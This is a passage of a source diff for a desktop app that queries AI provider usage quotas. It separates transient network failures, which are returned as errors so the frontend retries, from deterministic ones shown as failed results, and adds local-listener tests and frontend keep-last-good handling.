reqwest::StatusCode::UNAUTHORIZED || status == reqwest::StatusCode::FORBIDDEN { - return SubscriptionQuota { + return Ok(SubscriptionQuota { tool: "coding_plan".to_string(), credential_status: CredentialStatus::Expired, credential_message: Some("Invalid API key".to_string()), @@ -494,17 +512,23 @@ async fn query_zenmux(base_url: &str, api_key: &str) -> SubscriptionQuota { extra_usage: None, error: Some(format!("Authentication failed (HTTP {status})")), queried_at: Some(now_millis()), - }; + }); } if !status.is_success() { let body = resp.text().await.unwrap_or_default(); - return make_error(format!("API error (HTTP {status}): {body}")); + return Ok(make_error(format!("API error (HTTP {status}): {body}"))); } - let body: serde_json::Value = match resp.json().await { + // 先 bytes() 再解析:读体失败(超时/连接中断)是瞬时 → Err;拿到完整响应体 + // 后解析失败才是确定性。reqwest 的 json() 把读体错误也包成 decode,无法区分。 + let raw = match resp.bytes().await { + Ok(b) => b, + Err(e) => return Err(format!("Failed to read response: {e}")), + }; + let body: serde_json::Value = match serde_json::from_slice(&raw) { Ok(v) => v, - Err(e) => return make_error(format!("Failed to parse response: {e}")), + Err(e) => return Ok(make_error(format!("Failed to parse response: {e}"))), }; // 检查业务级别错误 @@ -513,12 +537,12 @@ async fn query_zenmux(base_url: &str, api_key: &str) -> SubscriptionQuota { .get("message") .and_then(|v| v.as_str()) .unwrap_or("Unknown error"); - return make_error(format!("API error: {msg}")); + return Ok(make_error(format!("API error: {msg}"))); } let data = match body.get("data") { Some(d) => d, - None => return make_error("Missing 'data' field in response".to_string()), + None => return Ok(make_error("Missing 'data' field in response".to_string())), }; let mut tiers = Vec::new(); @@ -581,7 +605,7 @@ async fn query_zenmux(base_url: &str, api_key: &str) -> SubscriptionQuota { String::new() }; - SubscriptionQuota { + Ok(SubscriptionQuota { tool: "coding_plan".to_string(), credential_status: CredentialStatus::Valid, credential_message: if plan_info.is_empty() { @@ -594,7 +618,7 @@ async fn query_zenmux(base_url: &str, api_key: &str) -> SubscriptionQuota { extra_usage: None, error: None, queried_at: Some(now_millis()), - } + }) } /// 从 `/coding_plan/remains` 响应中解析 MiniMax 编程套餐的额度 tier。 @@ -690,8 +714,11 @@ enum VolcCall { /// 硬鉴权失败(HTTP 401/403 或 AccessDenied/Signature 等错误码)——两个 plan /// 共用凭据,命中即停。 Auth(String), - /// 网络 / 非鉴权 HTTP 错误 / 解析失败——记录后可继续尝试另一个 plan。 + /// 非鉴权 HTTP 错误 / 响应体非法 JSON——记录后可继续尝试另一个 plan。 Soft(String), + /// 瞬时传输失败(网络/超时/读体中断)——同 host 的另一个 plan 大概率同样 + /// 失败,调用方应立即以 `Err` 传播(前端 reject → retry + 保留上次成功值)。 + Transient(String), } /// 从数据面 base_url 提取控制面 OpenAPI 所需的 Region(如 @@ -889,7 +916,7 @@ async fn volcengine_openapi_call( let resp = match resp { Ok(r) => r, - Err(e) => return VolcCall::Soft(format!("Network error: {e}")), + Err(e) => return VolcCall::Transient(format!("Network error: {e}")), }; let status = resp.status(); @@ -916,7 +943,13 @@ async fn volcengine_openapi_call( return VolcCall::Soft(format!("API error (HTTP {status}): {raw}")); } - let body: serde_json::Value = match resp.json().await { + // 同 Bearer 路径:先 bytes() 再解析——读体失败是瞬时(Transient),解析失败 + // 是确定性(Soft)。reqwest 的 json() 把读体错误也包成 decode,无法区分。 + let raw = match resp.bytes().await { + Ok(b) => b, + Err(e) => return VolcCall::Transient(format!("Failed to read response: {e}")), + }; + let body: serde_json::Value = match serde_json::from_slice(&raw) { Ok(v) => v, Err(e) => return VolcCall::Soft(format!("Failed to parse response: {e}")), }; @@ -1058,7 +1091,7 @@ async fn query_volcengine( base_url: &str, access_key_id: &str, secret_access_key: &str, -) -> SubscriptionQuota { +) -> Result { let region = volcengine_region(base_url); let mut soft_errors: Vec = Vec::new(); // 2xx + 无 Error 信封但解析不出额度时,截断原始响应用于诊断(区分"真没订阅" @@ -1071,7 +1104,8 @@ async fn query_volcengine( // 1) Agent Plan:GetAFPUsage match volcengine_openapi_call(®ion, access_key_id, secret_access_key, "GetAFPUsage").await { - VolcCall::Auth(detail) => return volcengine_auth_error(detail), + VolcCall::Auth(detail) => return Ok(volcengine_auth_error(detail)), + VolcCall::Transient(detail) => return Err(format!("GetAFPUsage: {detail}")), VolcCall::Soft(detail) => soft_errors.push(format!("GetAFPUsage: {detail}")), VolcCall::Body(body) => { let result = body.get("Result").unwrap_or(&body); @@ -1083,7 +1117,7 @@ async fn query_volcengine( .map(str::trim) .filter(|s| !s.is_empty()) .map(|s| format!("Agent Plan {s}")); - return volcengine_success(tiers, plan); + return Ok(volcengine_success(tiers, plan)); } empty_responses.push(summarize("GetAFPUsage", &body)); } @@ -1098,32 +1132,33 @@ async fn query_volcengine( ) .await { - VolcCall::Auth(detail) => return volcengine_auth_error(detail), + VolcCall::Auth(detail) => return Ok(volcengine_auth_error(detail)), + VolcCall::Transient(detail) => return Err(format!("GetCodingPlanUsage: {detail}")), VolcCall::Soft(detail) => soft_errors.push(format!("GetCodingPlanUsage: {detail}")), VolcCall::Body(body) => { let result = body.get("Result").unwrap_or(&body); let tiers = parse_coding_plan_tiers(result); if !tiers.is_empty() { - return volcengine_success(tiers, Some("Coding Plan".to_string())); + return Ok(volcengine_success(tiers, Some("Coding Plan".to_string()))); } empty_responses.push(summarize("GetCodingPlanUsage", &body)); } } if !soft_errors.is_empty() { - make_error(soft_errors.join("; ")) + Ok(make_error(soft_errors.join("; "))) } else if !empty_responses.is_empty() { // 签名已通过、请求到达业务层,但响应里没有可解析的额度。带上原始响应, // 便于核对真实字段名/包裹层,或确认确实未订阅。 - make_error(format!( + Ok(make_error(format!( "No active subscription found (signature OK). Raw: {}", empty_responses.join(" || ") - )) + ))) } else { - make_error( + Ok(make_error( "No active Agent Plan or Coding Plan subscription found for this credential" .to_string(), - ) + )) } } @@ -1143,6 +1178,9 @@ fn coding_plan_not_found(error: &str) -> SubscriptionQuota { } } +/// 查询编程套餐额度。瞬时传输失败(网络/超时/读体中断)返回 `Err`(前端 reject → +/// retry + 保留上次成功值);确定性失败(凭据缺失/未知域名/鉴权/非 2xx/业务错误) +/// 返回 `Ok(success:false)` 立即透出文案。判定按 reqwest 错误种类在折叠点完成。 pub async fn get_coding_plan_quota( base_url: &str, api_key: &str, @@ -1165,7 +1203,7 @@ pub async fn get_coding_plan_quota( "Volcengine usage query needs the account AccessKey ID + Secret (not the inference API key)", )); } - return Ok(query_volcengine(base_url, ak, sk).await); + return query_volcengine(base_url, ak, sk).await; } // 其余供应商:数据面 Bearer api_key。 @@ -1174,7 +1212,7 @@ pub async fn get_coding_plan_quota( return Ok(coding_plan_not_found("API key is empty")); } - let quota = match provider { + match provider { CodingPlanProvider::Kimi => query_kimi(api_key).await, CodingPlanProvider::ZhipuCn | CodingPlanProvider::ZhipuEn => { query_zhipu(base_url, api_key).await @@ -1186,9 +1224,7 @@ pub async fn get_coding_plan_quota( CodingPlanProvider::Volcengine => { unreachable!("volcengine handled via AK/SK branch above") } - }; - - Ok(quota) + } } #[cfg(test)] @@ -1806,4 +1842,140 @@ mod tests { let ok_body = json!({ "ResponseMetadata": { "RequestId": "x" }, "Result": {} }); assert!(volcengine_response_error(&ok_body).is_none()); } + + // ── 传输层错误通道语义:瞬时 → Err(前端 reject/retry),确定性 → Ok(success:false) ── + // + // 借 ZenMux 分支可指向任意 base_url 的特性,用本地 listener 驱动真实 HTTP + // 路径,锁定 send 失败 / 读体中断 / 4xx / 非法 JSON 各自落在哪条通道。 + // balance / subscription 服务与本文件共用同一折叠模式,这里的用例同时充当 + // 三个服务的语义回归锚。 + + use super::get_coding_plan_quota; + use crate::services::subscription::CredentialStatus; + use std::io::{Read, Write}; + + /// 测试进程内可能有其他用例临时 set_var HTTP_PROXY(http_client 的 + /// loopback 检测测试),NO_PROXY 保证本地回环请求始终直连。 + fn ensure_no_proxy_for_loopback() { + static ONCE: std::sync::Once = std::sync::Once::new(); + ONCE.call_once(|| { + std::env::set_var("NO_PROXY", "127.0.0.1,localhost"); + std::env::set_var("no_proxy", "127.0.0.1,localhost"); + }); + } + + /// 起一个只服务一次连接的本地 HTTP server。`response=None` 表示读完请求 + /// 直接断开(模拟响应前连接中断)。返回可命中 ZenMux 分支的 base_url。 + fn spawn_once_server(response: Option) -> (String, std::thread::JoinHandle<()>) { + let listener = std::net::TcpListener::bind("127.0.0.1:0").expect("bind local listener"); + let port = listener.local_addr().expect("local addr").port(); + let handle = std::thread::spawn(move || { + if let Ok((mut stream, _)) = listener.accept() { + let mut buf = [0u8; 2048]; + let _ = stream.read(&mut buf); + if let Some(resp) = response { + let _ = stream.write_all(resp.as_bytes()); + let _ = stream.flush(); + } + } + }); + (format!("http://127.0.0.1:{port}/zenmux"), handle) + } + + fn http_response(status_line: &str, body: &str) -> String { + format!( + "HTTP/1.1 {status_line}\r\ncontent-type: application/json\r\ncontent-length: {}\r\nconnection: close\r\n\r\n{body}", + body.len() + ) + } + + #[tokio::test] + async fn transient_connection_refused_returns_err() { + ensure_no_proxy_for_loopback(); + // 绑定后立刻释放端口 → 连接被拒(send 失败) + let listener = std::net::TcpListener::bind("127.0.0.1:0").expect("bind"); + let port = listener.local_addr().expect("local addr").port(); + drop(listener); + + let result = + get_coding_plan_quota(&format!("http://127.0.0.1:{port}/zenmux"), "k", None, None) + .await; + let err = result.expect_err("send 失败必须走 Err 通道(瞬时,前端 reject 后重试)"); + assert!(err.contains("Network error"), "err={err}"); + } + + #[tokio::test] + async fn transient_connection_closed_before_response_returns_err() { + ensure_no_proxy_for_loopback(); + let (base_url, handle) = spawn_once_server(None); + + let result = get_coding_plan_quota(&base_url, "k", None, None).await; + let err = result.expect_err("响应前连接中断必须走 Err 通道(瞬时)"); + assert!(err.contains("Network error"), "err={err}"); + handle.join().expect("server thread"); + } + + #[tokio::test] + async fn transient_truncated_body_returns_err() { + ensure_no_proxy_for_loopback(); + // 声明 content-length: 100 但只写一小段就断开 → 读体中断。 + // 锁定 bytes() 先于解析:这类失败必须走 Err(瞬时),不能因 reqwest 把 + // 读体错误包成 decode 而被误判成确定性的 "Failed to parse response"。 + let (base_url, handle) = spawn_once_server(Some( + "HTTP/1.1 200 OK\r\ncontent-type: application/json\r\ncontent-length: 100\r\n\r\npartial" + .to_string(), + )); + + let result = get_coding_plan_quota(&base_url, "k", None, None).await; + let err = result.expect_err("读体中断必须走 Err 通道(瞬时,前端 reject 后重试)"); + assert!(err.contains("Failed to read response"), "err={err}"); + handle.join().expect("server thread"); + } + + #[tokio::test] + async fn deterministic_http_401_stays_ok_with_auth_error() { + ensure_no_proxy_for_loopback(); + let (base_url, handle) = spawn_once_server(Some(http_response("401 Unauthorized", "{}"))); + + let quota = get_coding_plan_quota(&base_url, "k", None, None) + .await + .expect("鉴权失败是确定性失败,必须保持 Ok(success:false) 展示文案"); + assert!(!quota.success); + assert!(matches!(quota.credential_status, CredentialStatus::Expired)); + let err = quota.error.expect("应有错误文案"); + assert!(err.contains("Authentication failed (HTTP 401"), "err={err}"); + handle.join().expect("server thread"); + } + + #[tokio::test] + async fn deterministic_http_429_stays_ok_with_status_in_error() { + ensure_no_proxy_for_loopback(); + let (base_url, handle) = + spawn_once_server(Some(http_response("429 Too Many Requests", "slow down"))); + + let quota = get_coding_plan_quota(&base_url, "k", None, None) + .await + .expect("非 2xx 保持 Ok(success:false),状态码留在文案里交前端分类"); + assert!(!quota.success); + // 前端 isTransientUsageError 靠 /http\s+(\d{3})/ 提取状态码把 429 归瞬时, + // 文案格式是跨层契约,勿改。 + let err = quota.error.expect("应有错误文案"); + assert!(err.contains("HTTP 429"), "err={err}"); + handle.join().expect("server thread"); + } + + #[tokio::test] + async fn deterministic_invalid_json_body_stays_ok_with_parse_error() { + ensure_no_proxy_for_loopback(); + // 完整读到响应体但不是 JSON → is_decode → 确定性解析失败 + let (base_url, handle) = spawn_once_server(Some(http_response("200 OK", "not-json"))); + + let quota = get_coding_plan_quota(&base_url, "k", None, None) + .await + .expect("完整但非法的响应体是确定性失败,必须保持 Ok(success:false)"); + assert!(!quota.success); + let err = quota.error.expect("应有错误文案"); + assert!(err.contains("Failed to parse response"), "err={err}"); + handle.join().expect("server thread"); + } } diff --git a/src-tauri/src/services/provider/usage.rs b/src-tauri/src/services/provider/usage.rs index 7388249b8..9e985cc21 100644 --- a/src-tauri/src/services/provider/usage.rs +++ b/src-tauri/src/services/provider/usage.rs @@ -57,6 +57,18 @@ pub(crate) async fn execute_and_format_usage_result( }) } Err(err) => { + // 瞬时传输失败(send 失败/超时、读体中断)以 Err 传播,让前端 invoke + // reject → react-query retry 并保留上次成功值;按错误 key 判定而非 + // 文案匹配。其余脚本/配置/HTTP 业务错误折叠成 success:false 展示文案。 + if let AppError::Localized { key, .. } = &err { + if matches!( + *key, + "usage_script.request_failed" | "usage_script.read_response_failed" + ) { + return Err(err); + } + } + let lang = settings::get_settings() .language .unwrap_or_else(|| "zh".to_string()); diff --git a/src-tauri/src/services/subscription.rs b/src-tauri/src/services/subscription.rs index dfe8d0a0e..c6c88cfd7 100644 --- a/src-tauri/src/services/subscription.rs +++ b/src-tauri/src/services/subscription.rs @@ -331,7 +331,11 @@ const KNOWN_TIERS: &[&str] = &[ ]; /// 查询 Claude 官方订阅额度 -async fn query_claude_quota(access_token: &str) -> SubscriptionQuota { +/// +/// 瞬时传输失败(网络/超时/读体中断)返回 `Err`(前端 reject → retry + 保留上次 +/// 成功值);确定性失败(鉴权/非 2xx/响应体非法 JSON)返回 `Ok(success:false)`。 +/// codex/gemini 两个查询函数遵守同一约定。 +async fn query_claude_quota(access_token: &str) -> Result { let client = crate::proxy::http_client::get(); let resp = client @@ -345,42 +349,42 @@ async fn query_claude_quota(access_token: &str) -> SubscriptionQuota { let resp = match resp { Ok(r) => r, - Err(e) => { - return SubscriptionQuota::error( - "claude", - CredentialStatus::Valid, - format!("Network error: {e}"), - ); - } + Err(e) => return Err(format!("Network error: {e}")), }; let status = resp.status(); if status == reqwest::StatusCode::UNAUTHORIZED || status == reqwest::StatusCode::FORBIDDEN { - return SubscriptionQuota::error( + return Ok(SubscriptionQuota::error( "claude", CredentialStatus::Expired, format!("Authentication failed (HTTP {status}). Please re-login with Claude CLI."), - ); + )); } if !status.is_success() { let body = resp.text().await.unwrap_or_default(); - return SubscriptionQuota::error( + return Ok(SubscriptionQuota::error( "claude", CredentialStatus::Valid, format!("API error (HTTP {status}): {body}"), - ); + )); } - let body: serde_json::Value = match resp.json().await { + // 先 bytes() 再解析:读体失败(超时/连接中断)是瞬时 → Err;拿到完整响应体 + // 后解析失败才是确定性。reqwest 的 json() 把读体错误也包成 decode,无法区分。 + let raw = match resp.bytes().await { + Ok(b) => b, + Err(e) => return Err(format!("Failed to read API response: {e}")), + }; + let body: serde_json::Value = match serde_json::from_slice(&raw) { Ok(v) => v, Err(e) => { - return SubscriptionQuota::error( + return Ok(SubscriptionQuota::error( "claude", CredentialStatus::Valid, format!("Failed to parse API response: {e}"), - ); + )); } }; @@ -435,7 +439,7 @@ async fn query_claude_quota(access_token: &str) -> SubscriptionQuota { }) }); - SubscriptionQuota { + Ok(SubscriptionQuota { tool: "claude".to_string(), credential_status: CredentialStatus::Valid, credential_message: None, @@ -444,7 +448,7 @@ async fn query_claude_quota(access_token: &str) -> SubscriptionQuota { extra_usage, error: None, queried_at: Some(now_millis()), - } + }) } // ── Codex 凭据读取 ────────────────────────────────────── @@ -670,7 +674,7 @@ pub(crate) async fn query_codex_quota( account_id: Option<&str>, tool_label: &str, expired_message: &str, -) -> SubscriptionQuota { +) -> Result { let client = crate::proxy::http_client::get(); let mut req = client @@ -685,42 +689,40 @@ pub(crate) async fn query_codex_quota( let resp = match req.timeout(std::time::Duration::from_secs(15)).send().await { Ok(r) => r, - Err(e) => { - return SubscriptionQuota::error( - tool_label, - CredentialStatus::Valid, - format!("Network error: {e}"), - ); - } + Err(e) => return Err(format!("Network error: {e}")), }; let status = resp.status(); if status == reqwest::StatusCode::UNAUTHORIZED || status == reqwest::StatusCode::FORBIDDEN { - return SubscriptionQuota::error( + return Ok(SubscriptionQuota::error( tool_label, CredentialStatus::Expired, format!("{expired_message} (HTTP {status})"), - ); + )); } if !status.is_success() { let body = resp.text().await.unwrap_or_default(); - return SubscriptionQuota::error( + return Ok(SubscriptionQuota::error( tool_label, CredentialStatus::Valid, format!("API error (HTTP {status}): {body}"), - ); + )); } - let body: CodexUsageResponse = match resp.json().await { + let raw = match resp.bytes().await { + Ok(b) => b, + Err(e) => return Err(format!("Failed to read API response: {e}")), + }; + let body: CodexUsageResponse = match serde_json::from_slice(&raw) { Ok(v) => v, Err(e) => { - return SubscriptionQuota::error( + return Ok(SubscriptionQuota::error( tool_label, CredentialStatus::Valid, format!("Failed to parse API response: {e}"), - ); + )); } }; @@ -746,7 +748,7 @@ pub(crate) async fn query_codex_quota( } } - SubscriptionQuota { + Ok(SubscriptionQuota { tool: tool_label.to_string(), credential_status: CredentialStatus::Valid, credential_message: None, @@ -755,7 +757,7 @@ pub(crate) async fn query_codex_quota( extra_usage: None, error: None, queried_at: Some(now_millis()), - } + }) } // ── Gemini 凭据读取 ────────────────────────────────────── @@ -1049,7 +1051,7 @@ fn classify_gemini_model(model_id: &str) -> &str { /// 两步 API 调用: /// 1. loadCodeAssist → 获取 cloudaicompanionProject /// 2. retrieveUserQuota → 获取按模型分桶的配额数据 -async fn query_gemini_quota(access_token: &str) -> SubscriptionQuota { +async fn query_gemini_quota(access_token: &str) -> Result { let client = crate::proxy::http_client::get(); // ── Step 1: loadCodeAssist 获取项目 ID ── @@ -1069,42 +1071,40 @@ async fn query_gemini_quota(access_token: &str) -> SubscriptionQuota { let load_resp = match load_resp { Ok(r) => r, - Err(e) => { - return SubscriptionQuota::error( - "gemini", - CredentialStatus::Valid, - format!("Network error (loadCodeAssist): {e}"), - ); - } + Err(e) => return Err(format!("Network error (loadCodeAssist): {e}")), }; let load_status = load_resp.status(); if load_status == reqwest::StatusCode::UNAUTHORIZED || load_status == reqwest::StatusCode::FORBIDDEN { - return SubscriptionQuota::error( + return Ok(SubscriptionQuota::error( "gemini", CredentialStatus::Expired, format!("Authentication failed (HTTP {load_status}). Please re-login with Gemini CLI."), - ); + )); } if !load_status.is_success() { let body = load_resp.text().await.unwrap_or_default(); - return SubscriptionQuota::error( + return Ok(SubscriptionQuota::error( "gemini", CredentialStatus::Valid, format!("loadCodeAssist failed (HTTP {load_status}): {body}"), - ); + )); } - let load_body: GeminiLoadCodeAssistResponse = match load_resp.json().await { + let load_raw = match load_resp.bytes().await { + Ok(b) => b, + Err(e) => return Err(format!("Failed to read loadCodeAssist response: {e}")), + }; + let load_body: GeminiLoadCodeAssistResponse = match serde_json::from_slice(&load_raw) { Ok(v) => v, Err(e) => { - return SubscriptionQuota::error( + return Ok(SubscriptionQuota::error( "gemini", CredentialStatus::Valid, format!("Failed to parse loadCodeAssist response: {e}"), - ); + )); } }; @@ -1130,42 +1130,40 @@ async fn query_gemini_quota(access_token: &str) -> SubscriptionQuota { let quota_resp = match quota_resp { Ok(r) => r, - Err(e) => { - return SubscriptionQuota::error( - "gemini", - CredentialStatus::Valid, - format!("Network error (retrieveUserQuota): {e}"), - ); - } + Err(e) => return Err(format!("Network error (retrieveUserQuota): {e}")), }; let quota_status = quota_resp.status(); if quota_status == reqwest::StatusCode::UNAUTHORIZED || quota_status == reqwest::StatusCode::FORBIDDEN { - return SubscriptionQuota::error( + return Ok(SubscriptionQuota::error( "gemini", CredentialStatus::Expired, format!("Authentication failed (HTTP {quota_status})."), - ); + )); } if !quota_status.is_success() { let body = quota_resp.text().await.unwrap_or_default(); - return SubscriptionQuota::error( + return Ok(SubscriptionQuota::error( "gemini", CredentialStatus::Valid, format!("retrieveUserQuota failed (HTTP {quota_status}): {body}"), - ); + )); } - let quota_data: GeminiQuotaResponse = match quota_resp.json().await { + let quota_raw = match quota_resp.bytes().await { + Ok(b) => b, + Err(e) => return Err(format!("Failed to read quota response: {e}")), + }; + let quota_data: GeminiQuotaResponse = match serde_json::from_slice("a_raw) { Ok(v) => v, Err(e) => { - return SubscriptionQuota::error( + return Ok(SubscriptionQuota::error( "gemini", CredentialStatus::Valid, format!("Failed to parse quota response: {e}"), - ); + )); } }; @@ -1213,7 +1211,7 @@ async fn query_gemini_quota(access_token: &str) -> SubscriptionQuota { tiers.sort_by_key(|t| sort_order(&t.name)); - SubscriptionQuota { + Ok(SubscriptionQuota { tool: "gemini".to_string(), credential_status: CredentialStatus::Valid, credential_message: None, @@ -1222,12 +1220,16 @@ async fn query_gemini_quota(access_token: &str) -> SubscriptionQuota { extra_usage: None, error: None, queried_at: Some(now_millis()), - } + }) } // ── 入口函数 ────────────────────────────────────────────── /// 查询指定 CLI 工具的官方订阅额度 +/// +/// 瞬时传输失败以 `Err` 传播(前端 reject → retry + 保留上次成功值)。Expired +/// 分支的"过期也试一把"重试同样用 `?` 传播瞬时错误——不能折叠成"已过期", +/// 否则一次网络抖动会被误报成确定性的凭据过期。 pub async fn get_subscription_quota(tool: &str) -> Result { match tool { "claude" => { @@ -1243,7 +1245,7 @@ pub async fn get_subscription_quota(tool: &str) -> Result { // 即使过期也尝试调用 API(token 可能实际上仍有效) if let Some(token) = token { - let result = query_claude_quota(&token).await; + let result = query_claude_quota(&token).await?; if result.success { return Ok(result); } @@ -1256,7 +1258,7 @@ pub async fn get_subscription_quota(tool: &str) -> Result { let token = token.expect("token must be Some when status is Valid"); - Ok(query_claude_quota(&token).await) + query_claude_quota(&token).await } } } @@ -1279,7 +1281,7 @@ pub async fn get_subscription_quota(tool: &str) -> Result Result { let token = token.expect("token must be Some when status is Valid"); - Ok(query_codex_quota( + query_codex_quota( &token, account_id.as_deref(), "codex", "Authentication failed. Please re-login with Codex CLI.", ) - .await) + .await } } } @@ -1316,12 +1318,12 @@ pub async fn get_subscription_quota(tool: &str) -> Result Result { let token = token.expect("token must be Some when status is Valid"); - Ok(query_gemini_quota(&token).await) + query_gemini_quota(&token).await } } } diff --git a/src/components/UsageFooter.tsx b/src/components/UsageFooter.tsx index 397ab784c..293f5de33 100644 --- a/src/components/UsageFooter.tsx +++ b/src/components/UsageFooter.tsx @@ -65,6 +65,7 @@ const UsageFooter: React.FC = ({ const { data: usage, isFetching: loading, + isError, lastQueriedAt, refetch, } = useUsageQuery(providerId, appId, { @@ -86,11 +87,13 @@ const UsageFooter: React.FC = ({ return () => clearInterval(interval); }, [lastQueriedAt]); - // 只在启用用量查询且有数据时显示 - if (!usageEnabled || !usage) return null; + // 只在启用用量查询且有数据时显示。后端把瞬时传输失败转成了 reject:有缓存 + // 成功值时 react-query 保留 data 照常展示;首次查询就失败则 data 为空—— + // 此时(isError)仍要渲染失败态给出重试入口,否则 footer 整体消失、无从重查。 + if (!usageEnabled || (!usage && !isError)) return null; - // 错误状态 - if (!usage.success) { + // 错误状态(业务失败,或无缓存成功值的 reject) + if (!usage || !usage.success) { if (inline) { return (
@@ -115,7 +118,7 @@ const UsageFooter: React.FC = ({
- {usage.error || t("usage.queryFailed")} + {usage?.error || t("usage.queryFailed")}
{/* 刷新按钮 */} diff --git a/src/components/UsageScriptModal.tsx b/src/components/UsageScriptModal.tsx index e05521cff..27488f353 100644 --- a/src/components/UsageScriptModal.tsx +++ b/src/components/UsageScriptModal.tsx @@ -8,6 +8,7 @@ import { usageApi, settingsApi, type AppId } from "@/lib/api"; import { copilotGetUsage, copilotGetUsageForAccount } from "@/lib/api/copilot"; import { useSettingsQuery } from "@/lib/query"; import { resolveManagedAccountId } from "@/lib/authBinding"; +import { extractErrorMessage } from "@/utils/errorUtils"; import { useDarkMode } from "@/hooks/useDarkMode"; import { extractCodexBaseUrl, @@ -663,8 +664,10 @@ const UsageScriptModal: React.FC = ({ ); } } catch (error: any) { + // 后端命令 Err(String) 时 invoke 以裸字符串 reject(如瞬时网络失败), + // 直接读 .message 会得到 undefined。 toast.error( - `${t("usageScript.testFailed")}: ${error?.message || t("common.unknown")}`, + `${t("usageScript.testFailed")}: ${extractErrorMessage(error) || t("common.unknown")}`, { duration: 5000, }, diff --git a/src/lib/query/queries.ts b/src/lib/query/queries.ts index 28cba7556..0f4a380e0 100644 --- a/src/lib/query/queries.ts +++ b/src/lib/query/queries.ts @@ -19,6 +19,7 @@ import type { SessionMessage, } from "@/types"; import { usageKeys } from "@/lib/query/usage"; +import { extractErrorMessage } from "@/utils/errorUtils"; const sortProviders = ( providers: Record, @@ -100,34 +101,45 @@ export interface UseUsageQueryOptions { autoQueryInterval?: number; // 自动查询间隔(分钟),0 表示禁用 } -/** 最近一次成功的用量结果快照(keep-last-good 用)。 */ -export interface LastGoodUsage { - data: UsageResult; +/** keep-last-good 判定所需的最小结果形状(UsageResult / SubscriptionQuota 都满足)。 */ +export interface UsageLikeResult { + success: boolean; + error?: string | null; +} + +/** 最近一次成功的结果快照(keep-last-good 用)。 */ +export interface LastGoodSnapshot { + data: T; at: number; // 该成功结果的获取时刻(ms) } +/** 脚本路径 UsageResult 的快照类型(历史别名)。 */ +export type LastGoodUsage = LastGoodSnapshot; + /** 在最近一次成功后多久内,失败仍继续展示该成功值。 */ export const KEEP_LAST_GOOD_MS = 10 * 60 * 1000; // 10 分钟 /** - * 判断一次用量查询失败是否属于"瞬时/网络类"(可被 keep-last-good 短暂掩盖)。 + * 判断一次用量/额度查询失败是否属于"瞬时"(可被 keep-last-good 短暂掩盖)。 * * 仅瞬时失败才允许继续展示上一次成功;**确定性失败**(鉴权失败、空 API Key、 * 未知供应商、4xx、脚本/解析错误等)必须立即透出——用户改/删凭据后要马上看到, * 否则会一直显示过期额度直到窗口结束。 * - * 采用**白名单**:只认后端稳定的网络类错误前缀 + HTTP 5xx,失败安全——任何未识别 - * 的错误一律按"非瞬时"立即透出,绝不误掩盖确定性失败。需与后端错误文案保持同步: - * - 原生 balance/coding_plan/subscription:reqwest send 失败/超时 → `"Network error: …"`; - * 上游非 2xx → `"API error (HTTP …)"` - * - JS 脚本 usage_script:`request_failed` → "请求失败/Request failed"、 - * `read_response_failed` → "读取响应失败/Failed to read response"(仅 zh/en 两种本地化); - * 上游非 2xx → `"HTTP …"` + * 注:后端已把纯传输层失败(send 失败/超时/读体中断)转成 Err → invoke reject, + * 不再折叠进 `Ok(success:false)`,到不了这里——那类失败由 [`resolveDisplayUsage`] + * 的 `rejected` 分支按同一窗口处理。本白名单主要兜仍以 `success:false` 返回的 + * **HTTP 5xx/429**,网络类文案匹配仅作兼容冗余。 * - * HTTP 状态:**5xx**(服务端错误,通常瞬时)归为 transient;**4xx**(鉴权/客户端 - * 错误,如 401/403/404/429)保持确定性,立即透出。 + * 采用**白名单**,失败安全——任何未识别的错误一律按"非瞬时"立即透出,绝不误掩盖 + * 确定性失败。需与后端错误文案保持同步: + * - 原生 balance/coding_plan/subscription:上游非 2xx → `"API error (HTTP …)"` + * - JS 脚本 usage_script:上游非 2xx → `"HTTP …"` + * + * HTTP 状态:**5xx**(服务端错误,通常瞬时)与 **429**(限流,稍后重试即可)归为 + * transient;其余 **4xx**(鉴权/客户端错误,如 401/403/404)保持确定性,立即透出。 */ -export function isTransientUsageError(result: UsageResult): boolean { +export function isTransientUsageError(result: UsageLikeResult): boolean { if (result.success) return false; const e = result.error?.toLowerCase() ?? ""; if (!e) return false; @@ -143,12 +155,12 @@ export function isTransientUsageError(result: UsageResult): boolean { return true; } - // HTTP 状态码:5xx 视为瞬时,4xx 视为确定性。错误文案里第一处 "HTTP " 即为 - // 上游状态码(原生 "API error (HTTP 500…)"、JS 脚本 "HTTP 500 …")。 + // HTTP 状态码:5xx 与 429(限流)视为瞬时,其余 4xx 视为确定性。错误文案里第一处 + // "HTTP " 即为上游状态码(原生 "API error (HTTP 500…)"、JS 脚本 "HTTP 500 …")。 const httpMatch = e.match(/http\s+(\d{3})/); if (httpMatch) { const status = Number(httpMatch[1]); - return status >= 500 && status <= 599; + return (status >= 500 && status <= 599) || status === 429; } return false; @@ -156,30 +168,54 @@ export function isTransientUsageError(result: UsageResult): boolean { /** * Keep-last-good 的纯决策函数(无 ref、无时钟,`now` 注入以便测试)。 + * 对 `UsageResult`(脚本路径)与 `SubscriptionQuota`(订阅系 hooks)通用。 * - * 用量端点面向跨境/第三方,单次网络抖动会让后端返回 `Ok(success:false)` 当作"新数据" - * 覆盖掉上一次成功,使卡片瞬间翻红——这是"一会成功一会失败"观感的主因。 - * 策略:当失败是**瞬时/网络类**(见 [`isTransientUsageError`])且最近一次成功在 - * `keepMs` 内时,不抹掉它,继续展示该成功值,并把 `lastQueriedAt` 指向该成功的时刻 - * (相对时间自然走到"10 分钟前"后过期翻红);超出窗口、或从无成功记录时照常展示失败。 + * 策略:当失败是**瞬时**(见 [`isTransientUsageError`],即 5xx/429 等)且最近一次 + * 成功在 `keepMs` 内时,不抹掉它,继续展示该成功值,并把 `lastQueriedAt` 指向该 + * 成功的时刻(相对时间自然走到"10 分钟前"后过期翻红);超出窗口、或从无成功记录 + * 时照常展示失败。 * * **确定性失败**(鉴权/空 key/未知供应商/4xx 等)不仅立即透出,还会**清空 `lastGood`**: * 旧成功快照已不可信,否则随后一次网络抖动会把"配置/鉴权已失效"的旧额度重新复活。 * - * 注:会 reject 的传输层失败(Copilot/DB)react-query 本就保留上次 `data`,这里 - * 主要修的是 `Ok(success:false)` 这条覆盖路径。 + * 会 reject 的传输层失败(网络/超时/读体中断,后端已转 Err)由 `rejected` 标志 + * 处理:react-query 保留的上次成功 `data` 是**陈旧**的,不能当新鲜成功无限期展示 + * ——同样只在 `keepMs` 窗口内(锚定上次真实成功时刻)继续展示,超窗后 `data` + * 置空,由调用方合成失败占位透出。否则「彻底断网」反而比「单次 5xx」掩盖更久。 */ -export function resolveDisplayUsage( - raw: UsageResult | 